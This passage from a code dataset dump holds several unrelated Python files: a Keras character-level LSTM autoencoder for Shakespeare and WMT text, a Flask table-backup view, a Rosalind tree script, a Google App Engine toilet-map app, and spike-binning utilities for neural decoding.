\"\"\"\n cmd_args_list = [\n \"sacct\",\n \"-S\",\n \"1970-01-02\",\n \"--format\",\n \"State,ExitCode\",\n \"-j\",\n job_id,\n ]\n output = call_cli(cmd_args_list)\n job_status_list = [status for status in output.strip().split(\"\\n\")[2:]]\n return job_status_list\n","sub_path":"blackcap/src/blackcap/cluster/slurm_cluster.py","file_name":"slurm_cluster.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"368405519","text":"from __future__ import print_function\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation\nfrom keras.layers import LSTM, GRU, Input, Flatten, Masking, merge, Reshape, Lambda, TimeDistributed, Dropout\nfrom keras.layers.merge import Concatenate, Add\nfrom keras import backend as K\nfrom keras.optimizers import RMSprop, SGD, Adam\nfrom keras.utils.data_utils import get_file\nfrom keras.models import Model\nimport numpy as np\nimport random\nimport sys\nimport re\nimport string\nimport tensorflow as tf\nfrom itertools import compress\nimport utils\nfrom keras.losses import categorical_crossentropy\nfrom keras.callbacks import TensorBoard\n\nconfig = tf.ConfigProto(allow_soft_placement=True)\nconfig.gpu_options.allow_growth = True\nsession = tf.Session(config=config)\nK.set_session(session=session)\n\nCORRUPTION_PR = 0.0\nDROPOUT = 0.2\nSENTENCE_TRAIN_BATCH_SIZE = 32\nSENTENCE_VALIDATION_BATCH_SIZE = 128\nLSTM_WIDTH = 512\nSENTENCE_START = '#'\nSENTENCE_END = '_'\n\ncaps = \"([A-Z])\"\nprefixes = \"(Mr|St|Mrs|Ms|Dr)[.]\"\nsuffixes = \"(Inc|Ltd|Jr|Sr|Co)\"\nstarters = \"(Mr|Mrs|Ms|Dr|He\\s|She\\s|It\\s|They\\s|Their\\s|Our\\s|We\\s|But\\s|However\\s|That\\s|This\\s|Wherever)\"\nacronyms = \"([A-Z][.][A-Z][.](?:[A-Z][.])?)\"\nwebsites = \"[.](com|net|org|io|gov)\"\n\n\ndef split_into_sentences(text):\n text = \" \" + text + \" \"\n text = text.replace(\"\\n\", \" \")\n text = re.sub(prefixes, \"\\\\1<prd>\", text)\n text = re.sub(websites, \"<prd>\\\\1\", text)\n if \"Ph.D\" in text: text = text.replace(\"Ph.D.\", \"Ph<prd>D<prd>\")\n text = re.sub(\"\\s\" + caps + \"[.] \", \" \\\\1<prd> \", text)\n text = re.sub(acronyms + \" \" + starters, \"\\\\1<stop> \\\\2\", text)\n text = re.sub(caps + \"[.]\" + caps + \"[.]\" + caps + \"[.]\", \"\\\\1<prd>\\\\2<prd>\\\\3<prd>\", text)\n text = re.sub(caps + \"[.]\" + caps + \"[.]\", \"\\\\1<prd>\\\\2<prd>\", text)\n text = re.sub(\" \" + suffixes + \"[.] \" + starters, \" \\\\1<stop> \\\\2\", text)\n text = re.sub(\" \" + suffixes + \"[.]\", \" \\\\1<prd>\", text)\n text = re.sub(\" \" + caps + \"[.]\", \" \\\\1<prd>\", text)\n if \"”\" in text: text = text.replace(\".”\", \"”.\")\n if \"\\\"\" in text: text = text.replace(\".\\\"\", \"\\\".\")\n if \"!\" in text: text = text.replace(\"!\\\"\", \"\\\"!\")\n if \"?\" in text: text = text.replace(\"?\\\"\", \"\\\"?\")\n # if \"\\'\" in text: text = text.replace(\"\\'\", \" \")\n text = text.replace(\" '\", \"\\'\")\n text = text.replace(\""\", '\"')\n text = text.replace(\". \", \".\" + SENTENCE_END + \"<stop> \")\n text = text.replace(\"? \", \"?\" + SENTENCE_END + \"<stop> \")\n text = text.replace(\"! \", \"!\" + SENTENCE_END + \"<stop> \")\n text = text.replace(\"<prd> \", \".\")\n sentences = text.split(\"<stop>\")\n sentences = sentences[:-1]\n sentences = [s.strip() for s in sentences]\n out = []\n valid_characters = set(string.printable)\n for s in sentences:\n if (len(s) > 30) and (len(s) < 500):\n out.append(SENTENCE_START + s)\n return out\n\n\npath_shakespeare = get_file('shakespeare.txt', origin='http://norvig.com/ngrams/shakespeare.txt')\ntext_shakespeare = open(path_shakespeare).read()\ntext_shakespeare = text_shakespeare.lower().replace('\\n', ' ').replace('=', ' ').replace(r\"\\\\'\", \" \")\nprint('corpus length, Shakespeare:', len(text_shakespeare))\n\n# path_wmt = get_file('WMT2014_train.en', origin='')\npath_wmt = 'WMT2014_train.en'\ntext_wmt = open(path_wmt).read()\ntext_wmt = text_wmt.lower().replace('\\n', ' ').replace('=', ' ').replace(r\"\\\\'\", \" \")\n# text_wmt = text_wmt.encode('ascii',errors='ignore')\ntext_wmt = re.sub(r'[^\\x00-\\x7f]', r'', text_wmt)\nprint('corpus length, WMT:', len(text_wmt))\n\n# nltk.download()\n# tokenizer = nltk.data.load('tokenizers/punkt/english.pickle')\n# tokenized = tokenizer.tokenize(text)\n\nsentences_shakespeare = np.array(split_into_sentences(text_shakespeare))\nsentences_shakespeare = sorted(sentences_shakespeare, key=len)\nchars_shakespeare = sorted(list(set(\"\".join(sentences_shakespeare))))\n\nsentences_wmt = np.array(split_into_sentences(text_wmt))\nsentences_wmt = sorted(sentences_wmt, key=len)\nchars_wmt = sorted(list(set(\"\".join(sentences_wmt))))\n\nprint('total chars, Shakespeare:', len(chars_shakespeare))\nprint('total chars, WMT:', len(chars_wmt))\n\nchars = sorted(list(set(chars_wmt + chars_shakespeare)))\nchar_indices = dict((c, i) for i, c in enumerate(chars))\nindices_char = dict((i, c) for i, c in enumerate(chars))\n\nprint('Build model...')\n\n\ndef concat_context(inputs):\n seq = inputs[0]\n c = inputs[1]\n c_tiled = K.tile(K.reshape(c, [-1, 1, 512]), (1, K.shape(seq)[1], 1))\n out = K.concatenate([seq, c_tiled], axis=2)\n\n boolean_mask = K.any(K.not_equal(seq, 0), axis=-1, keepdims=True)\n\n # K.print_tensor( out * K.cast(boolean_mask, K.floatx()) )\n\n return out * K.cast(boolean_mask, K.floatx())\n\n\ndef get_encoder(lstm_width, dropout):\n context_input = Input(shape=(None, len(chars)))\n x = Masking(mask_value=0)(context_input)\n x = LSTM(lstm_width, return_sequences=True, go_backwards=True, dropout=dropout, recurrent_dropout=dropout)(x)\n x = LSTM(lstm_width, return_sequences=True, dropout=dropout, recurrent_dropout=dropout)(x)\n # xf = GRU(LSTM_WIDTH, return_sequences=True, go_backwards=False, dropout=0.0)(x)\n # x = Concatenate(axis=2)([xf, xb])\n encoder_output = LSTM(lstm_width, return_sequences=False, dropout=dropout, recurrent_dropout=dropout)(x)\n\n return Model(inputs=[context_input], outputs=[encoder_output])\n\n\ndef get_decoder_shared(encoder_in, lstm_width, dropout):\n context_input = Input(shape=(None, len(chars)))\n encoder_output = encoder_in(context_input)\n\n teacher_input = Input(shape=(None, len(chars)))\n decoder_input = Masking(mask_value=0)(teacher_input)\n\n context_layer1 = Lambda(concat_context)\n decoder_input_c = context_layer1([decoder_input, encoder_output])\n\n y1 = LSTM(lstm_width, return_sequences=True, dropout=dropout, recurrent_dropout=dropout)(decoder_input_c)\n\n return Model(inputs=[context_input, teacher_input], outputs=[y1, encoder_output])\n\n\ndef get_decoder_split(decoder_shared_in, lstm_width, dropout):\n context_input = Input(shape=(None, len(chars)))\n teacher_input = Input(shape=(None, len(chars)))\n shared_output = decoder_shared_in([context_input, teacher_input])\n\n y1 = shared_output[0]\n encoder_output = shared_output[1]\n\n y2 = LSTM(lstm_width, return_sequences=True, dropout=dropout, recurrent_dropout=dropout)(y1)\n y3 = LSTM(lstm_width, return_sequences=True, dropout=dropout, recurrent_dropout=dropout)(y2)\n\n context_layer2 = Lambda(concat_context)\n decoder_appended = context_layer2([y3, encoder_output])\n\n decoder_appended = TimeDistributed(Dropout(0.5))(decoder_appended)\n #decoder_appended = TimeDistributed(Dense(lstm_width, activation='relu'))(decoder_appended)\n #decoder_appended = TimeDistributed(Dropout(0.5))(decoder_appended)\n decoder_output = TimeDistributed(Dense(len(chars), activation='softmax'))(decoder_appended)\n\n return Model(inputs=[context_input, teacher_input], outputs=[decoder_output])\n\n\nencoder = get_encoder(lstm_width=LSTM_WIDTH, dropout=DROPOUT)\n\ndecoder_shared_forward = get_decoder_shared(encoder_in=encoder, lstm_width=LSTM_WIDTH, dropout=DROPOUT)\ndecoder_shared_backward = get_decoder_shared(encoder_in=encoder, lstm_width=LSTM_WIDTH, dropout=DROPOUT)\n\nshakespeare_autoencoder_forward = get_decoder_split(decoder_shared_in=decoder_shared_forward, lstm_width=LSTM_WIDTH,\n dropout=DROPOUT)\nshakespeare_autoencoder_backward = get_decoder_split(decoder_shared_in=decoder_shared_backward, lstm_width=LSTM_WIDTH,\n dropout=DROPOUT)\nwmt_autoencoder_forward = get_decoder_split(decoder_shared_in=decoder_shared_forward, lstm_width=LSTM_WIDTH,\n dropout=DROPOUT)\nwmt_autoencoder_backward = get_decoder_split(decoder_shared_in=decoder_shared_backward, lstm_width=LSTM_WIDTH,\n dropout=DROPOUT)\n\noptimizer = Adam(clipnorm=1.0)\nshakespeare_autoencoder_forward.compile(loss='categorical_crossentropy', metrics=['categorical_accuracy'],\n optimizer=optimizer, sample_weight_mode=\"temporal\")\nwmt_autoencoder_forward.compile(loss='categorical_crossentropy', metrics=['categorical_accuracy'], optimizer=optimizer,\n sample_weight_mode=\"temporal\")\nshakespeare_autoencoder_backward.compile(loss='categorical_crossentropy', metrics=['categorical_accuracy'],\n optimizer=optimizer, sample_weight_mode=\"temporal\")\nwmt_autoencoder_backward.compile(loss='categorical_crossentropy', metrics=['categorical_accuracy'], optimizer=optimizer,\n sample_weight_mode=\"temporal\")\n\n\ndef sample(preds, temperature=1.0):\n # helper function to sample an index from a probability array\n preds = np.asarray(preds).astype('float64')\n preds = np.log(preds) / temperature\n exp_preds = np.exp(preds)\n preds = exp_preds / np.sum(exp_preds)\n probas = np.random.multinomial(1, preds, 1)\n return np.argmax(probas)\n\n\nshakespeare_train_idx = np.random.uniform(size=(len(sentences_shakespeare),)) < 0.9\nshakespeare_train_gen = utils.text_generator_random(list(compress(sentences_shakespeare, shakespeare_train_idx)),\n char_indices, SENTENCE_TRAIN_BATCH_SIZE,\n corruption_pr=CORRUPTION_PR)\nshakespeare_train_gen_backward = utils.text_backwards_generator_random(\n list(compress(sentences_shakespeare, shakespeare_train_idx)), char_indices, SENTENCE_TRAIN_BATCH_SIZE,\n corruption_pr=CORRUPTION_PR)\nshakespeare_validation_gen = utils.text_generator_deterministic(\n list(compress(sentences_shakespeare, np.invert(shakespeare_train_idx))), char_indices,\n SENTENCE_VALIDATION_BATCH_SIZE, corruption_pr=CORRUPTION_PR)\n\nwmt_train_idx = np.random.uniform(size=(len(sentences_wmt),)) < 0.975\nwmt_train_gen = utils.text_generator_random(list(compress(sentences_wmt, wmt_train_idx)), char_indices,\n SENTENCE_TRAIN_BATCH_SIZE, corruption_pr=CORRUPTION_PR)\nwmt_train_gen_backward = utils.text_backwards_generator_random(list(compress(sentences_wmt, wmt_train_idx)),\n char_indices, SENTENCE_TRAIN_BATCH_SIZE,\n corruption_pr=CORRUPTION_PR)\nwmt_validation_gen = utils.text_generator_deterministic(list(compress(sentences_wmt, np.invert(wmt_train_idx))),\n char_indices, SENTENCE_VALIDATION_BATCH_SIZE,\n corruption_pr=CORRUPTION_PR)\n\nfor iteration in range(0, 1000):\n print()\n print('-' * 50)\n print('Iteration', iteration)\n\n shakespeare_autoencoder_forward.save('model_shakespeare.hd5')\n wmt_autoencoder_forward.save('model_wmt.hd5')\n shakespeare_autoencoder_backward.save('model_shakespeare_backward.hd5')\n wmt_autoencoder_backward.save('model_wmt_backward.hd5')\n\n if iteration < 10:\n shakespeare_autoencoder_backward.fit_generator(shakespeare_train_gen_backward, steps_per_epoch=10, epochs=1,\n verbose=1, workers=1)\n shakespeare_autoencoder_forward.fit_generator(shakespeare_train_gen, steps_per_epoch=10, epochs=1, verbose=1,\n workers=1)\n\n wmt_autoencoder_forward.fit_generator(wmt_train_gen, steps_per_epoch=15, epochs=1, verbose=1, workers=1)\n wmt_autoencoder_backward.fit_generator(wmt_train_gen_backward, steps_per_epoch=15, epochs=1, verbose=1,\n workers=1)\n\n else:\n shakespeare_autoencoder_backward.fit_generator(shakespeare_train_gen_backward,\n steps_per_epoch=100, epochs=1, verbose=1, workers=1)\n\n shakespeare_autoencoder_forward.fit_generator(shakespeare_train_gen,\n steps_per_epoch=100,\n validation_data=shakespeare_validation_gen,\n validation_steps=sum(np.invert(\n shakespeare_train_idx)) / SENTENCE_VALIDATION_BATCH_SIZE - 10,\n epochs=1, verbose=1, workers=1)\n\n wmt_autoencoder_backward.fit_generator(wmt_train_gen_backward,\n 125, epochs=1, verbose=1, workers=1)\n\n wmt_autoencoder_forward.fit_generator(wmt_train_gen,\n 125,\n validation_data=wmt_validation_gen,\n validation_steps=sum(\n np.invert(wmt_train_idx)) / SENTENCE_VALIDATION_BATCH_SIZE - 10,\n epochs=1, verbose=1, workers=1)\n\n\n\n\n","sub_path":"lstm_encoder_decoder.py","file_name":"lstm_encoder_decoder.py","file_ext":"py","file_size_in_byte":13184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"605134753","text":"#!/user/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport sys\nfrom flask import render_template, request, g, jsonify\nfrom flask_login import current_user\n\nfrom Web import dev_url_prefix, create_blue\nfrom Web import control, data_dir, dms_job, current_env\n\nsys.path.append('..')\n\n__author__ = 'Zhouheng'\n\nhtml_dir = \"/Dev\"\nbackup_dir = \"%s/back_table\" % data_dir\nurl_prefix = dev_url_prefix\n\ndevelop_view = create_blue('develop_view', url_prefix=url_prefix)\n\n\n@develop_view.route(\"/operate/auth/\", methods=[\"GET\"])\ndef operate_auth_show():\n result, data = control.show_operate_auth(current_user.role)\n if result is False:\n return data\n return render_template(\"%s/operate_auth.html\" % html_dir, operate_auth=data, url_prefix=url_prefix)\n\n\n@develop_view.route(\"/data/table/\", methods=[\"GET\"])\ndef show_data_table():\n result, table_list = control.list_data_table(current_user.role)\n if result is False:\n return table_list\n column_info = []\n select_table = {}\n if \"table\" in request.args:\n result, column_info = control.get_table_info(request.args[\"table\"], current_user.role)\n if result is False:\n return column_info\n for table in table_list:\n if table[\"table_name\"] == request.args[\"table\"]:\n select_table = table\n break\n query_str = \"\"\n if \"query\" in request.args:\n query_str = request.args[\"query\"]\n return render_template(\"%s/data_table.html\" % html_dir, table_list=table_list, column_info=column_info,\n select_table=select_table, query_str=query_str, url_prefix=url_prefix)\n\n\n@develop_view.route(\"/data/table/backup/\", methods=[\"POST\"])\ndef backup_table_func():\n t_name = request.json[\"t_name\"]\n sql_path = \"%s/%s.sql.backup\" % (backup_dir, t_name)\n result, info = control.backup_table(g.user_name, g.user_role, t_name, sql_path)\n return jsonify({\"status\": result, \"data\": info})\n\n\n@develop_view.route(\"/data/table/backup/\", methods=[\"GET\"])\ndef backup_table_info():\n if \"t_name\" in request.args:\n t_name = request.args[\"t_name\"]\n l = control.new_backup_table(g.user_name, g.user_role, t_name)\n return jsonify({\"status\": True, \"data\": l})\n else:\n mul_t_info = control.get_backup_table()\n return jsonify({\"status\": True, \"data\": mul_t_info})\n\n\n# 每天0:30,备份线上数据表。\ndef backup_func():\n if current_env != \"Production\":\n print(\"Not Production\")\n return\n result, info = control.register_backup_task()\n if result is False:\n print(\"register backup fail\")\n return\n print(\"start run backup table task %s\" % info[\"task_no\"])\n mul_t_info = control.get_backup_table()\n for t in mul_t_info:\n t_name = t[\"t_name\"]\n sql_path = \"%s/%s_%s.sql.backup\" % (backup_dir, current_env, t_name)\n control.backup_table(\"system\", 0, t_name, sql_path)\n print(\"backup success\")\n\n\n# dms_job.append({\"func\": \"%s:backup_func\" % __name__, \"trigger\": \"cron\", \"id\": \"backup_table\", \"day_of_week\": \"0-4\",\n# \"hour\": 0, \"minute\": 30})\n\n","sub_path":"Web/views/develop_view.py","file_name":"develop_view.py","file_ext":"py","file_size_in_byte":3109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"472867000","text":"import warnings\nwarnings.filterwarnings(\"ignore\")\n#ete3 spams \"is with a literal\" warnings on import in high python versions\nfrom ete3 import Tree\n\ndef tree_to_nontrivial_branches(tree, leaves):\n res = []\n for node in tree.traverse(\"levelorder\"):\n if node.is_leaf():\n continue\n for child in node.get_children():\n if child.is_leaf():\n continue\n child_branch = child.get_leaf_names()\n res.append(\"\".join([\"1\" if x in child_branch else \"0\" for x in leaves]))\n return res\n\ndef main():\n t = Tree(\"rosalind_ctbl.txt\")\n names = sorted(t.get_leaf_names())\n res = tree_to_nontrivial_branches(t, names)\n with open(\"out.txt\", \"w\") as o:\n print(*res, sep=\"\\n\", file=o)\n\nif __name__ == \"__main__\":\n main()","sub_path":"Bioinformatics Stronghold/44_ctbl.py","file_name":"44_ctbl.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"124475287","text":"def divisore(x, y):\n try:\n risultato = x / y\n print(risultato)\n except:\n print(\"I dati inseriti non sono supportati!\")\n finally:\n print(\"questo codice verrà eseguito in ogni caso!\")\n\n\ndivisore(9, 0)\n","sub_path":"06-codice_sezione_PYTHON_LV_2/15_gestione_degli_errori/gestione_errori.py","file_name":"gestione_errori.py","file_ext":"py","file_size_in_byte":237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"341309593","text":"\"\"\"List of Thrones \nWritten by Jason Jacob\nThis is a data visualisation project written by Jason Jacob\nthat uses the python library with google app engine and the \nNDB data store. \n\"\"\"\n# the standard python Cgi, Url libraries and the web app framework\nimport cgi\nimport urllib\nimport os\nimport jinja2\nimport webapp2\nimport json\nimport logging\n\n# import the users framework and data modeling api form appengine\nfrom google.appengine.api import memcache\nfrom google.appengine.ext import ndb\n\n# import local folders\nfrom model.models import Throne, Counter\n\n# The jing environment\nJINJA_ENVIRONMENT = jinja2.Environment(\n\tloader=jinja2.FileSystemLoader(os.path.dirname(__file__)),\n\textensions=['jinja2.ext.autoescape'],\n\tautoescape=True)\n\nLOT_NAME = 'default_listofthrones'\n\nclass Main(webapp2.RequestHandler):\n\t\"\"\"The main page handler\n\n\tThis serves as the root / routing for inbound http requests.\n\tThe handler seves up the defualt template and its detials Otherwise an \n\terror. \n\n\t\"\"\"\n\tdef get(self):\n\t\ttry:\n\t\t\ttemplate_values = {\n\t\t\t\t'heading': 'A list of Thrones',\n\t\t\t}\n\n\t\t\ttemplate = JINJA_ENVIRONMENT.get_template('index.html')\n\t\t\tself.response.write(template.render(template_values))\n\t\texcept:\n\t\t\tself.error(500)\n\nclass PullDataSet(webapp2.RequestHandler):\n\t\"\"\"Ajax Data request handler\n\n\tBecause the dataset is so large, it is best to load it async.\n\tThis handler takes an ajax request from the client and loads \n\tthe data to be prcessed for the map, the load times for start up are greater\n\tbecause data is loaded into memcache as well, but query times on clusters \n\tand analysis is speed up in return.\n\n\t\"\"\"\n\tdef post(self):\n\t\t#Throne.initialise_datastore()\n\t\tthrones = Throne.get_thrones()\n\t\tdata = {}\n\t\tif self.request.get('fmt') == 'json':\n\t\t\tfor throne in thrones:\n\t\t\t\tdata[throne.name] = {'lat':throne.lat,'lng':throne.lng}\n\t\t\t\tmemcache.add(key=throne.name, value=throne.data)\n\t\t\tself.response.out.headers['content-type'] = 'text/json'\n\t\t\tself.response.write(json.dumps(data))\n\n\nclass PullMarkerContent(webapp2.RequestHandler):\n\t\"\"\"Ajax marker content handler\n\n\tWhen ever a marker is clicked the async handler is called to \n\tretreive the data from the datastore in JSON format so it can\n\tbe passed to calling JavaScript event handler.\n\n\t\"\"\"\n\tdef post(self):\n\t\tmarker_data = {}\n\t\tif self.request.get('fmt') == 'json':\n\t\t\tname = self.request.get('name')\n\t\t\tdata = memcache.get(name)\n\t\t\tmarker_data[name] = data\n\t\t\tself.response.out.headers['content-type'] = 'text/json'\n\t\t\tself.response.write(json.dumps(marker_data))\n\n\nclass PullClusterContent(webapp2.RequestHandler):\n\t\"\"\" Cluster request handler\n\n\tPull the data for each cluster from the datastore and pass it to \n\tthe caller in json format. Memcache is use for the data calls\n\n\t\"\"\"\n\tdef post(self):\n\t\tdata = []\n\t\tnames = []\n\t\tresult = []\n\t\tif self.request.get('fmt') == 'json':\n\t\t\tdata = json.loads(self.request.get('names'))\n\t\t\tthrones = memcache.get_multi(data)\n\t\t\tself.response.out.headers['content-type'] = 'text/json'\n\t\t\tanalysis = self.analysie_data(thrones)\n\t\t\tself.response.write(analysis);\n\n\t\n\t@classmethod\n\tdef analysie_data(self, thrones):\n\t\t\"\"\"data analysis handler\n\n\t\tThis method takes a cluster of thrones as input and aggregates the \n\t\tdata to find the averages for each cluster. Then retunring that information\n\t\tto the caller.\n\n\t\t\"\"\"\n\t\ttry:\n\t\t\t# evaluation object\n\t\t\tevaluate = {\n\t\t\t'hours': 'AllHours',\n\t\t\t'sharps_disposal': 'true',\n\t\t\t'drinking_water': 'true',\n\t\t\t'sanitary_disposal':'true',\n\t\t\t'showers': 'true',\n\t\t\t'baby_change': 'true',\n\t\t\t'disabled_unisex_access': 'true',\n\t\t\t'disabled_parking_access': 'true',\n\t\t\t'master_key': 'true',\n\t\t\t'disabled_female_access': 'true',\n\t\t\t'disabled_male_access': 'true'\n\t\t\t}\n\t\t\t# marker totals\n\t\t\tmarker_totals = {\n\t\t\t'thrones': len(thrones),\n\t\t\t'hours': 0,\n\t\t\t'sharps_disposal': 0,\n\t\t\t'drinking_water': 0,\n\t\t\t'sanitary_disposal': 0,\n\t\t\t'showers': 0,\n\t\t\t'baby_change': 0,\n\t\t\t'disabled_unisex_access': 0,\n\t\t\t'disabled_parking_access': 0,\n\t\t\t'master_key': 0,\n\t\t\t'disabled_female_access': 0,\n\t\t\t'disabled_male_access': 0\n\t\t\t}\n\n\t\t\t# add up the totals\n\t\t\tfor key, value in thrones.iteritems():\n\t\t\t\tfor k, v in value.iteritems():\n\t\t\t\t\tif k in evaluate and v == evaluate[k]:\n\t\t\t\t\t\tmarker_totals[k] += 1\n\n\t\t\t# calculate the percentages\n\t\t\tfor k, v in marker_totals.iteritems():\n\t\t\t\tif k != 'thrones':\n\t\t\t\t\tmarker_totals[k] = (float(v) / marker_totals['thrones']) * 100\n\n\t\t\treturn json.dumps(marker_totals)\n\t\texcept:\n\t\t\tself.error(500)\n\n# run the main application from here\napplication = webapp2.WSGIApplication([\n ('/', Main),\t\t\t\t\t\t\t# root routing\t - load template for html\n ('/DATASET', PullDataSet),\t\t\t\t# Dataset routing - first call on page load\t\n ('/MARKER', PullMarkerContent),\t\t\t# marker routnign - loading markers to map\n ('/CLUSTERS', PullClusterContent),\t\t# cluster routing - define clusters on map\n], debug=True)\n","sub_path":"list_of_thrones/listofthrones.py","file_name":"listofthrones.py","file_ext":"py","file_size_in_byte":4855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"280664502","text":"import numpy as np\n\n\n######## BIN_SPIKES ########\ndef bin_spikes(spike_times,dt,wdw_start,wdw_end):\n \"\"\"\n Function that puts spikes into bins\n\n Parameters\n ----------\n spike_times: an array of arrays\n an array of neurons. within each neuron's array is an array containing all the spike times of that neuron\n dt: number (any format)\n size of time bins\n wdw_start: number (any format)\n the start time for putting spikes in bins\n wdw_end: number (any format)\n the end time for putting spikes in bins\n\n Returns\n -------\n neural_data: a matrix of size \"number of time bins\" x \"number of neurons\"\n the number of spikes in each time bin for each neuron\n \"\"\"\n edges=np.arange(wdw_start,wdw_end,dt) #Get edges of time bins\n num_bins=edges.shape[0]-1 #Number of bins\n num_neurons=spike_times.shape[0] #Number of neurons\n neural_data=np.empty([num_bins,num_neurons]) #Initialize array for binned neural data\n #Count number of spikes in each bin for each neuron, and put in array\n for i in range(num_neurons):\n neural_data[:,i]=np.histogram(spike_times[i],edges)[0]\n return neural_data\n\n######## SIMPLE BINNING FOR EQUIDISTANT OUTPUT AND NO EDGE CUTTING #######\ndef bin_equidistant_output(outputs, width):\n '''\n width : bin width in number of time steps, NOT time\n '''\n data = outputs.T\n feature_dim, time_dim = data.shape\n outputs_binned = np.array([data[x][:(time_dim // width) * width].reshape(-1, width).mean(axis=1) for x in range(feature_dim)]).T\n return outputs_binned\n\n#### MAP BINARY SPIKING DATA TO SPIKE TIMES ####\ndef binary_to_times(spikes, dt):\n \"\"\"\n maps spike trains represented with 0s and 1s to spike times\n Params\n --------------\n \n \"\"\"\n return np.array([np.argwhere(spikes[:, x]).ravel()*dt for x in range(np.shape(spikes)[1])])\n\n######## BIN_OUTPUT #######\ndef bin_output(outputs,output_times,dt,wdw_start,wdw_end,downsample_factor=1):\n \"\"\"\n Function that puts outputs into bins\n\n Parameters\n ----------\n outputs: matrix of size \"number of times the output was recorded\" x \"number of features in the output\"\n each entry in the matrix is the value of the output feature\n output_times: a vector of size \"number of times the output was recorded\"\n each entry has the time the output was recorded\n dt: number (any format)\n size of time bins\n wdw_start: number (any format)\n the start time for binning the outputs\n wdw_end: number (any format)\n the end time for binning the outputs\n downsample_factor: integer, optional, default=1\n how much to downsample the outputs prior to binning\n larger values will increase speed, but decrease precision\n\n Returns\n -------\n outputs_binned: matrix of size \"number of time bins\" x \"number of features in the output\"\n the average value of each output feature in every time bin\n \"\"\"\n\n ###Downsample output###\n #We just take 1 out of every \"downsample_factor\" values#\n if downsample_factor!=1: #Don't downsample if downsample_factor=1\n downsample_idxs=np.arange(0,output_times.shape[0],downsample_factor) #Get the idxs of values we are going to include after downsampling\n outputs=outputs[downsample_idxs,:] #Get the downsampled outputs\n output_times=output_times[downsample_idxs] #Get the downsampled output times\n\n ###Put outputs into bins###\n edges=np.arange(wdw_start,wdw_end,dt) #Get edges of time bins\n num_bins=edges.shape[0]-1 #Number of bins\n output_dim=outputs.shape[1] #Number of output features\n outputs_binned=np.empty([num_bins,output_dim]) #Initialize matrix of binned outputs\n #Loop through bins, and get the mean outputs in those bins\n for i in range(num_bins): #Loop through bins\n idxs=np.where((np.squeeze(output_times)>edges[i]) & (np.squeeze(output_times)<edges[i+1]))[0] #Indices to consider the output signal (when it's in the correct time range)\n for j in range(output_dim): #Loop through output features\n outputs_binned[i,j]=np.mean(outputs[idxs,j])\n\n return outputs_binned\n\n\n###$$ GET_SPIKES_WITH_HISTORY #####\ndef get_spikes_with_history(neural_data,bins_before,bins_after,bins_current=1):\n \"\"\"\n Function that creates the covariate matrix of neural activity\n\n Parameters\n ----------\n neural_data: a matrix of size \"number of time bins\" x \"number of neurons\"\n the number of spikes in each time bin for each neuron\n bins_before: integer\n How many bins of neural data prior to the output are used for decoding\n bins_after: integer\n How many bins of neural data after the output are used for decoding\n bins_current: 0 or 1, optional, default=1\n Whether to use the concurrent time bin of neural data for decoding\n\n Returns\n -------\n X: a matrix of size \"number of total time bins\" x \"number of surrounding time bins used for prediction\" x \"number of neurons\"\n For every time bin, there are the firing rates of all neurons from the specified number of time bins before (and after)\n \"\"\"\n\n num_examples=neural_data.shape[0] #Number of total time bins we have neural data for\n num_neurons=neural_data.shape[1] #Number of neurons\n surrounding_bins=bins_before+bins_after+bins_current #Number of surrounding time bins used for prediction\n X=np.empty([num_examples,surrounding_bins,num_neurons]) #Initialize covariate matrix with NaNs\n X[:] = np.NaN\n #Loop through each time bin, and collect the spikes occurring in surrounding time bins\n #Note that the first \"bins_before\" and last \"bins_after\" rows of X will remain filled with NaNs, since they don't get filled in below.\n #This is because, for example, we cannot collect 10 time bins of spikes before time bin 8\n start_idx=0\n for i in range(num_examples-bins_before-bins_after): #The first bins_before and last bins_after bins don't get filled in\n end_idx=start_idx+surrounding_bins; #The bins of neural data we will be including are between start_idx and end_idx (which will have length \"surrounding_bins\")\n X[i+bins_before,:,:]=neural_data[start_idx:end_idx,:] #Put neural data from surrounding bins in X, starting at row \"bins_before\"\n start_idx=start_idx+1;\n return X\n\n##### GENERATE TRAINING, TEST, VALIDATION DATA (normal+flat) #####\ndef get_training_data(X, y, splits, bins_before, bins_after):\n \"\"\"\n function that creates a test/train.validation split on the data (input and output)\n\n Parameters\n ----------\n X: matrix of size \"number of total time bins\" x \"number of surrounding time bins used for prediction\" x \"number of neurons\"\n For every time bin, there are the firing rates of all neurons from the specified number of time bins before (and after)\n y: matrix of size \"number of time bins\" x \"number of features in the output\"\n the average value of each output feature in every time bin\n splits: 2-element list type or tuple. The values charcterize the fraction of the data at which the splits train/test/validate are made.\n bins_before: How many bins of neural data prior to the output are used for decoding\n bins_after: How many bins of neural data after the output are used for decoding\n \n Returns\n -------\n X_train_mean, X_train, X_test, X_valid, X_flat_train_mean, X_flat_train, X_flat_test, X_flat_valid, y_train_mean, y_train, y_test, y_valid\n \"\"\"\n training_range= [0, splits[0]]\n testing_range= splits\n valid_range=[splits[1], 1]\n \n num_examples=X.shape[0]\n\n #Note that each range has a buffer of\"bins_before\" bins at the beginning, and \"bins_after\" bins at the end\n #This makes it so that the different sets don't include overlapping neural data\n training_set=np.arange(np.int(np.round(training_range[0]*num_examples))+bins_before,np.int(np.round(training_range[1]*num_examples))-bins_after)\n testing_set=np.arange(np.int(np.round(testing_range[0]*num_examples))+bins_before,np.int(np.round(testing_range[1]*num_examples))-bins_after)\n valid_set=np.arange(np.int(np.round(valid_range[0]*num_examples))+bins_before,np.int(np.round(valid_range[1]*num_examples))-bins_after)\n\n #Get training data\n X_train=X[training_set,:,:]\n y_train=y[training_set,:]\n\n #Get testing data\n X_test=X[testing_set,:,:]\n y_test=y[testing_set,:]\n\n #Get validation data\n X_valid=X[valid_set,:,:]\n y_valid=y[valid_set,:]\n\n #Z-score \"X\" inputs. \n X_train_mean=np.nanmean(X_train,axis=0)\n 